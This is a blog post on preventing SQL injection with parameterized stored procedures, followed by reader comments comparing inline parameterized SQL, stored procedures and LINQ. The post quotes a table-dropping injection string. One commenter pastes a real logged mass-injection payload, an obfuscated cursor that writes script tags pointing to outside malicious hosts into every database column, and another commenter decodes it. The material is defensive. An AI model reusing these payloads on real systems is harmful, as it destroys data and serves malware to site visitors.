SQL Injection and how to avoid it


It isn’t as big of a deal at the moment, but it is always good to make sure everyone is aware of this and how dangerous it can be.  There is some very good information on it located on MSDN here.  The important part is to remember that anytime you take input from an external source (someone typing on a web page), they don’t always have to put in what you expect.

The safest way to keep yourself safe from SQL Injection is to always use stored procedures to accept input from user-input variables.  It is really simple to do this, for example, this is how you don’t want to code things:

var Shipcity;
ShipCity = Request.form ("ShipCity");
var sql = "select * from OrdersTable where ShipCity = '" + 
          ShipCity + "'";

This allows someone to use SQL Injection to gain access to your database.  For example, imagine if someone put in the following for the "ShipCity":

Redmond'; drop table OrdersTable-- 

This would delete the entire table!  If you have seen much on SQL Injection, they have figured out all kinds of ways to get information about your database or server, so don’t think they can’t find the names of tables, etc.

The correct way to do this would be using a stored procedure as follows:

SqlDataAdapter myCommand = new SqlDataAdapter("AuthorLogin", conn);
myCommand.SelectCommand.CommandType = CommandType.StoredProcedure;
SqlParameter parm = myCommand.SelectCommand.Parameters.Add("@au_id",
     SqlDbType.VarChar, 11);
parm.Value = Login.Text;

Then you will be protected.  Be sure to use parameterized stored procedures to keep the stored procedure from having the same problem as before.

— Update —

The above code would call a stored procedure that would be something like:

CREATE PROCEDURE AuthorLogin @au_id varchar(11)
AS
SET NOCOUNT ON
SELECT Author from AuthorTable WHERE au_id = @au_id
GO

Note: the "SET NOCOUNT ON" will prevent SQL Server from sending the DONE_IN_PROC message for each statement in a stored procedure which will improve performance especially for large stored procedures.

— End Update —

There are other hints and advice on the MSDN article that you can check out, but this is the major piece of advice to know.

There is also some additional information that you can find here.  You can find more information and a video at Explained – SQL Injection and another video about it here.  There are tons of links on the web so feel free to research this more to be sure you are safe from this problem.

Here are a few other links to help on the subject:

SQL Injection Attack from the SWI team at Microsoft

Preventing SQL Injections in ASP

Filtering SQL Injection From Classic ASP

Classic ASP which is still alive and parameterized queries

ISAPI filter to protect against SQL Injection

Michael Sutton’s Blog on SQL Injection

kick it on DotNetKicks.com

Comments (37)

  1. You’ve been kicked (a good thing) – Trackback from DotNetKicks.com

  2. stevef says:

    Can we not just use parameterized inline sql. Has the same protection and removes a layer of maintenance.

  3. Although stored procedures are usually better practice, they aren’t the only answer here.  Plain old paramaterized text queries will do the trick too.

  4. Stevef,

    That is an option also.  Stored procedures allow you to do more validation if you want, but that would work as well for the majority of issues.

  5. kris says:

    Agreed, that’s good advice, but as stevef already noted, parameterized inline SQL (using System.Data.SqlClient.SqlCommand) is just as safe. And unlike what Tom suggests, i believe you can do exactly the same T-SQL you can in a stored procedure, and that includes all the validation you wish. It just won’t have the performance benefits of using a stored procedure.

    Too bad you didnt show how to make the actual stored procedure, It could be very usefull for those who arrive here from search engines. So here goes a pretty simple off-the-top-of-my-head T-SQL script for creating a stored procedure that gets a list of orders from an imaginary database.

    IF EXISTS( SELECT 1 FROM sysobjects so WHERE so.name = ‘AuthorLogin’ and xtype = ‘S’ IS NOT NULL

    BEGIN

    DROP PROCEDURE spOrder_FetchById

    END

    GO

    CREATE PROCEDURE spOrder_FetchById

    (

    @City VARCHAR(32)

    )

    AS

    BEGIN

    SELECT

    OV.*

    FROM OrderListView OV

    WHERE

    OV.City = @City

    ORDER BY

    OV.OrderDate ASC

    ,OV.TotalOrderAmount DESC

    END

    GO

  6. Kris,

    Thanks for including that.  You are right, I should have added that as well and performance is a big reason for using a stored procedure.

  7. stevef says:

    That is very negligable thesedays (inline is also compiled) especially given the burden of an extra layer to write and maintain. i’d rather spend that time speeding up the UI, saving k down the wire (viewstate, daft control naming conventions etc etc) is so much more noticable for the end user compared to a tiny speed benefit in a proc

  8. alex says:

    the performance gain you get using a stored procedure is more or less neglible, unless you’re running large queries. The same can be said of the network traffic you’re saving.

  9. kris says:

    Tom, I didnt mean to tell you how to blog or anything, just hoped the info might help someone. I see the whole text i posted earlier isn’t worth much in this form though, so much information is lost with the indent being gone. Maybe you can mod some code tags around, or just put something in the main blog post?

    stevef, i agree for the most part that the gain in performance is negligable, but that isn’ true for every situation.  For example; my team maintains a large-ish database that stores, among other things, online transactions, but it also does a lot of processing and that includes importing offline transactions. In our case, even merely not having to put the text of the statement over the line from our communications host to the database is "pure profit". It’s only a couple hundred bytes per transaction, but in the grand scheme of things, it adds up.

    We’ll be migrating to oracle in the near future, that’ll be… interesting.

  10. Jeff Woodman says:

    SQL injection is a huge problem right now for state government networks. We are seeing a HUGE amount of probing for SQL injection vulnerabilities here in New Mexico. Most of the malicious traffic seems to originate from Hong Kong. A friend of mine has been detailed pretty much full-time to analyze existing web apps to find vulerabilities (unparameterized SQL statements).

  11. Jeff Woodman says:

    Also, my two cents on inline SQL vs. stored procedures: SPs simplify security; if all the data access and manipulation is done via stored procedures, you don’t have to grant the application’s account direct CRUD access to table.

  12. my web has javasript says:

    it contain more js like,every colum contain like

    <script src=http://s.see9.us/s.js></script>

    <script src=http://%61%31%38%38%2E%77%73/1.js></script><!”></title><script src=http://%61%2E%6B%61%34%37%2E%75%73/1.js></scr”></title><script src=http://%61%2E%6B%61%34%37%2E%75%73/1.js></scr’      width=50    border=0>

    I open iis log, it is  some like

    http://www.19cn.com/showdetail.aspx?id=19;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe=’u’%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec(‘UpDaTe%20[‘%2b@t%2b’]%20sEt%20[‘%2b@c%2b’]=[‘%2b@c%2b’]%2bcAsT(0x3C2F7469746C653E3C736372697074207372633D687474703A2F2F2536312533312533382533382532452537372537332F312E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))’)%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;–

    what does that mean?I think it must be here have bad, I change databa password,but no result

  13. Kris,

    I’ll see what I can do and put up a sample stored procedure with spacing well and add it to this blog post.  Why are you switching to Oracle?

  14. Kris says:

    Tom,

    We’re switching to oracle because our main software branch and the development team along with it, were basically bought up by a huge US corporation. They’re already running a lot of oracle based systems worldwide and since they’re going to be “running the show”, they’ve mandated the switch.

    It kinda excites me for the challenges it will bring. My database background has always been pretty much mysql only before I got this job. And i remember the mental effort required to make the switch to SqlServer was big, but overall it’s been a great learning experience.

    I’ll never know even nearly everything I’d like to know, but every new thing mastered is a step in the right direction.

  15. Klas says:

    On the subject, cracked me up http://xkcd.com/327

  16. stevef says:

    Jeff,

    I still dont see this as a major win against the overhead of creating CRUD procs on a large db. Surely if someone can gain access to your tables directly through somehow getting and using application credentials then you have got a much bigger infrastructure security issue.

  17. theredhead says:

    Tom, good job on the update, especially with the "Note: the "SET NOCOUNT ON" will prevent SQL Server from sending the DONE_IN_PROC message for each statement in a stored procedure which will improve performance especially for large stored procedures."

    I had no idea that did anything besides make sqlwb’s output log more readable. means i’m still learning this stuff 🙂

  18. Chris says:

    Would using the parameters ‘addwithvalue’ command help prevent SQL injection?

    ie.  insertcmd.Parameters.AddWithValue(@user, this.txtlogin.txt)

  19. Jeff Woodman says:

    Stevef, point taken: If hackers get that far, you’ve got major security issues. I still like the approach’s simplicity though. Especially if someone else is responsibly for maintaining the database security for my application. 😉

    At the agency I work for, the SP approach is the standard way of doing things. An SP layer will more clearly delineate application/service boundaries and is simpler to manage security on, period.

  20. Chris,

    Yes, that is what Stevef was suggesting also.  That would work.

  21. Jeff Woodman says:

    Chris, using AddWithValue is risky because the allowed length of the parameter is inferred from the length of the input in the case of strings. It’s better to create a formal parameter so you can assign a data type and a maximum length for the paramter’s value. I use AddWithValue for numeric values, and it’s also OK to use them if you’ve previously validated the string value.

  22. Michelle says:

    The hyperlinks related to classic ASP are dead

  23. Michelle,

    They are fixed now.  Sorry about that.

  24. My previous post on this topic generated so much discussion that I thought I should post about it some

  25. adefwebserver says:

    Is anyone here using Linq to SQL? After using it you can’t go back. SQL injection is not an issue and I feel that the LINQ to SQL "sql" is more optimized than CRUD stored procedures. For example an update stored procedure is writen to usually update every field even if only one is changed. A Linq to SQL update statement only updates the fields being updated. This is really helpful because it wont lock the whole row.

  26. David says:

    I do not know what is the scariest: still having to talk about SQL injections in 2008 or telling people to use stored procedures for CRUD operations.

    I reckon this post is a *good thing* because constant reminders are what prevent forgetting things.

  27. molotov says:

    Though it’s likely a subset of other information that has been linked to, I didn’t see this listed, and thought it may be relevant / beneficial / supporting:

    Giving SQL Injection the Respect it Deserves @ http://blogs.msdn.com/sdl/archive/2008/05/15/giving-sql-injection-the-respect-it-deserves.aspx

  28. Adefwebserver,

    Very good point.  I’ll have to look into this and maybe post an example on here.

  29. Molotov,

    It is always good to point it out directly though.  Thanks.

  30. Ash says:

    What I really want to know is why in the world any DBA would allow a sql server login for a public website to have DROP TABLE permissions.  That just defies logic.

  31. adefwebserver says:

    The "Filtering SQL Injection From Classic ASP" provides the fastest method to do something "right now" while you are recoding to use sql parameters. It allows you to put an "include" at the top of your pages.

  32. my web has javasript,

    I’d suggest you create a case with Microsoft and let us look into it.  We will be able to track down what happened and help get things working correctly again.

    Check out:

    http://blogs.msdn.com/tom/archive/2007/11/15/contacting-tom.aspx

    For information about contacting Microsoft.

  33. Ben in SC says:

    mywebhasjavascript

    asked about malicious javascript in his columns

    if you go to http://www.albionresearch.com/misc/urlencode.php

    you can translate this: src=http://%61%31%38%38%2E%77%73/1.js

    into this:

    src=http://a188.ws/1.js

    However, his big problem is that he has been hacked, big time, by a combined SQL injection/cross site scripting attack that loads a big hex string into SQL Server (@s=0x….) and executes it (exec @s).  It loaded this javascript in every column in your DB in the hope that your users will get this payload in dynamic html pages and will execute and load malicious code in your user’s machine.

    Restore your DB from backup, disconnect from the web until you follow the advice on this page and make your app secure from SQL injection.  Don’t turn your web app on again until you have parameterized queries or stored procs.

    This is THE big hack of 2008.  It’s all over the web.

    Good luck.

    Ben in SC

  34. The purpose of this blog post is to review the concept of SQL Injection attacks, to introduce URLScan

  35. The purpose of this blog post is to review the concept of SQL Injection attacks, to introduce URLScan

  36. Kris says:

    @Ash "why in the world any DBA would allow a sql server login for a public website to have DROP TABLE permissions"

    I agree wholeheartedly, it’s possibly in the top ten of stupidest things you could possibly do, but the web is basically built mostly by stupid people so you’re gonna run into this a lot, I know it sucks, but that’s just life.

    P.S. yes, i know this is old, I followed some log links and got interested all over again 🙂

Skip to main content